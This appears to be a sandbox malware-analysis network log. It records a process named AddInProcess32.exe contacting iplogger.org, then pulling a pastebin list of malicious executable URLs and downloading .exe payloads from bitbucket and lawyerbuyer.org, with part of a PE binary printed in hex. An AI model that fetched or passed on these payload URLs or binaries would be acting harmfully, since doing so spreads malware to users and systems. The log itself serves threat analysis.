2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 6d 65 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 37 20 64 61 79 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 69 70 6c 6f 67 67 65 72 2e 6f 72 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f Data Ascii: me="revisit-after" content="7 days" /><meta name="keywords" content="" /><meta name="description" content="" /><link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" /><meta property="og:image" content="https:/
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 69 64 64 65 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 7b 68 65 69 67 68 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 38 62 64 39 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 35 70 78 20 30 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 6a 75 6d 70 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 7d 23 6c 6f 61 64 65 72 3e 73 70 61 6e 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f Data Ascii: idden{display:none}#loader>span{height:16px;width:16px;border-radius:50%;background-color:#338bd9;display:inline-block;margin:25px 5px 0;-webkit-animation:jump 1s linear infinite;animation:jump 1s linear infinite}#loader>span:nth-child(2){-webkit-animatio
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 0a 09 3c 2f 73 74 79 6c 65 3e 0a 0a 09 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 5f 70 3b 0a 09 69 66 28 6e 61 76 69 67 61 74 6f 72 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 26 26 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 70 6c 61 74 66 6f 72 6d 3d 3d 3d 27 57 69 6e 64 6f 77 73 27 29 7b 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 44 61 74 61 2e 67 65 74 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 28 5b 27 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 27 5d 29 2e 74 68 65 6e 28 75 61 3d 3e 7b 5f 70 3d 70 61 72 73 65 49 6e 74 28 75 61 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 29 7d 29 7d 0a 09 76 61 72 20 5f 79 3d 5b 5d 2c 5f 7a Data Ascii: </style><script>var _p;if(navigator&&navigator.userAgentData&&navigator.userAgentData.platform==='Windows'){navigator.userAgentData.getHighEntropyValues(['platformVersion']).then(ua=>{_p=parseInt(ua.platformVersion.split('.')[0])})}var _y=[],_z
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 6b 69 6e 67 20 62 72 6f 77 73 65 72 20 62 65 66 6f 72 65 20 70 72 6f 63 65 73 73 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 5f 63 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 74 79 6c 65 3e 0a 2e 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 34 34 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 32 30 70 78 3b 68 65 69 67 68 74 3a 33 35 30 70 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 Data Ascii: king browser before processing...</div></div> <script> _c();</script><style>.wrapper{margin-top:100px}.container{width:440px;min-width:320px;height:350px;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pac
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 6c 6f 67 6f 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 30 37 34 64 37 63 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 70 65 72 22 3e 0a 0a 20 20 20 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 64 6f Data Ascii: argin:auto}.logo .logo-text{color:#074d7c;text-align:center;font-size:12px;white-space:nowrap;font-family:arial;font-weight:700}</style><div class="wrapper"> <div class="container"> <div class="header"><div class="domain"><div id="do
2024-03-11 02:30:59 UTC	154	IN	Data Raw: 2e 70 6f 73 69 74 69 6f 6e 3d 27 61 62 73 6f 6c 75 74 65 27 2c 61 2e 73 74 79 6c 65 2e 74 6f 70 3d 69 2c 61 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 69 2c 61 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 6f 75 6e 74 65 72 2e 79 61 64 72 6f 2e 72 75 2f 68 69 74 3f 27 2b 75 72 6c 2e 6a 6f 69 6e 28 27 3b 27 29 2c 64 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: .position='absolute',a.style.top=i,a.style.left=i,a.src='https://counter.yadro.ru/hit?'+url.join(';'),d.body.appendChild(a);</script></body></html>
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	55620	104.20.68.143	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	50	OUT	GET /raw/E0rY26ni HTTP/1.1 Host: pastebin.com
2024-03-11 02:30:59 UTC	395	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 6 Last-Modified: Mon, 11 Mar 2024 02:30:53 GMT Server: cloudflare CF-RAY: 8628202aaf8109f1-LAS
2024-03-11 02:30:59 UTC	800	IN	Data Raw: 33 31 39 0d 0a 68 74 74 70 3a 2f 2f 31 38 35 2e 31 37 32 2e 31 32 38 2e 31 32 36 2f 49 6e 73 74 61 6c 6c 53 65 74 75 70 35 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 62 69 74 62 75 63 6b 65 74 2e 6f 72 67 2f 6a 2d 75 70 73 70 73 2f 6d 69 63 72 6f 73 6f 66 74 5f 6e 65 74 77 6f 72 6b 31 2f 64 6f 77 6e 6c 6f 61 64 73 2f 61 30 32 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 68 69 70 6f 66 64 65 73 74 69 6e 79 2e 63 6f 6d 2f 62 61 66 31 34 37 37 38 63 32 34 36 65 31 35 35 35 30 36 34 35 65 33 30 62 61 37 38 63 65 31 63 2e 65 78 65 0d 0a 68 74 74 70 73 3a 2f 2f 73 74 79 2e 69 6e 6b 2f 70 70 67 38 78 0d 0a 68 74 74 70 73 3a 2f 2f 6e 61 6d 65 6d 61 69 6c 2e 6f 72 67 2f 36 37 37 39 64 38 39 62 37 61 33 36 38 66 34 66 33 66 33 34 30 62 35 30 61 39 64 31 38 64 37 31 Data Ascii: 319http://185.172.128.126/InstallSetup5.exehttps://bitbucket.org/j-upsps/microsoft_network1/downloads/a02.exehttps://shipofdestiny.com/baf14778c246e15550645e30ba78ce1c.exehttps://sty.ink/ppg8xhttps://namemail.org/6779d89b7a368f4f3f340b50a9d18d71
2024-03-11 02:30:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	55605	104.192.141.1	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:58 UTC	83	OUT	GET /j-upsps/microsoft_network1/downloads/a02.exe HTTP/1.1 Host: bitbucket.org
2024-03-11 02:30:59 UTC	4235	IN	HTTP/1.1 302 Found server: envoy x-usage-quota-remaining: 997837.069 vary: Accept-Language, Origin x-usage-request-cost: 1090.77 cache-control: max-age=0, no-cache, no-store, must-revalidate, private Content-Type: text/html; charset=utf-8 x-b3-traceid: b9e31946e4f87466 x-usage-output-ops: 0 x-used-mesh: False x-dc-location: Micros-3 content-security-policy: frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org app.pendo.io; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ app.pendo.io cdn.pendo.io pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net app.pendo.io cdn.pendo.io data.pendo.io pendo-io-static.storage.googleapis.com pendo-static-6266914010103808.storage.googleapis.com https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; base-uri 'self'; object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net app.pendo.io data.pendo.io pendo-static-6266914010103808.storage.googleapis.com bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Mon, 11 Mar 2024 02:30:59 GMT x-usage-user-time: 0.031881 x-usage-system-time: 0.000842 location: https://bbuseruploads.s3.amazonaws.com/fe3c402e-d650-43c9-b0ce-c95a11498dde/downloads/666d2627-f56a-4f04-99c5-36905368220f/a02.exe?response-content-disposition=attachment%3B%20filename%3D%22a02.exe%22&AWSAccessKeyId=ASIA6KOSE3BNBZE7SCMA&Signature=HCpifs76QUiUci%2FEbjTZ%2FcagJHI%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEBsaCXVzLWVhc3QtMSJHMEUCIAL7XL1t3TuPO88R%2FvmGOKGVl7p1Es82eho6cXvQ48VmAiEA7oowtGrg0V2iUhUFhl6H%2Ftflg%2F8yqqvEVz4QKWlhh9IqpwIIJBAAGgw5ODQ1MjUxMDExNDYiDFuIFyQ4tKa%2Be%2FeNTyqEAv3z8s9kfwkGDgSePx2WLCQQKhHTHvRODYsmqld%2BfnPf1j4E%2BbYhYHOLhh0iQz0sdVxhkrXPTKBqSsozj19VUfDopIPVTfRKMeNtRGQezfK2JjXbp8r7euC55noDSYZTIVM6KVVDIPF1tAGWJiFo6%2BMYnFfB2zug1t5HpisPVtMAStx8BqdelSlN37IFcwjn1aKq5iLKOG2ot6gDBMcne8C1p0SybdfD5uWEI6lrqrxtbWm19RY1WYFsJSDkbGmC0LCmMTNlAcqxgj5rGPqMkl4XffgOsPi8NIW0liFniEJ4GkgdiP0nldGzH%2BkY77zsgPaug81QSVfxWv673OeelwZ6wdBpMNTYua8GOp0B8L9l%2BRuxjpbF79wIHItOL1FbFFaPMDUqLn7BHl2kHWntZrPtX5IlaRgQbEYZGTx9IwOvskFyhN7gOZfzOo5jKzjap2b%2Bq12UXPXW48Biok56nWPXv6z27x4KbZddnlzzmD%2FmLERbURyUQwhok2kY3h9GfMX4MN0PiCzQ9hqyr2Z7uiRWWK82G8AlU01254WlEwld0nRAsugFGjj4nw%3D%3D&Expires=1710125916 expires: Mon, 11 Mar 2024 02:30:59 GMT x-served-by: ddcd3d4e054b x-envoy-upstream-service-time: 68 content-language: en x-view-name: bitbucket.apps.downloads.views.download_file x-b3-spanid: b9e31946e4f87466 x-static-version: 3c039d08312e x-render-time: 0.055806875228881836 Connection: close x-usage-input-ops: 0 x-version: 3c039d08312e x-request-count: 3915 x-frame-options: SAMEORIGIN X-Cache-Info: not cacheable; response specified "Cache-Control: no-cache" Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	55621	104.21.63.71	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:59 UTC	110	OUT	GET /26b626fea29015a9f24e07a08fa011e4/baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1 Host: lawyerbuyer.org
2024-03-11 02:30:59 UTC	680	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:59 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283792 Connection: close Last-Modified: Sun, 10 Mar 2024 22:53:03 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5axO7kCBZJTyNjcxcFJPBF5nrUJ7AneexTOuqaopuVC%2B8f9zenpn2Cc3zmgS%2BPlrNBIfAqsem2LRraUJZXh%2FNZRDpuHoUmwzRbRKTekp0qMjHZXNhzZbvYRI9un9FVpD2ts%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8628202ecb9b09ed-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:59 UTC	689	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 00 66 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 Data Ascii: fff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 6a 00 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 Data Ascii: jju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: fe ff ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 00 8d 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 00 00 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: c7 ea ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:30:59 UTC	1369	IN	Data Raw: 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 Data Ascii: L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
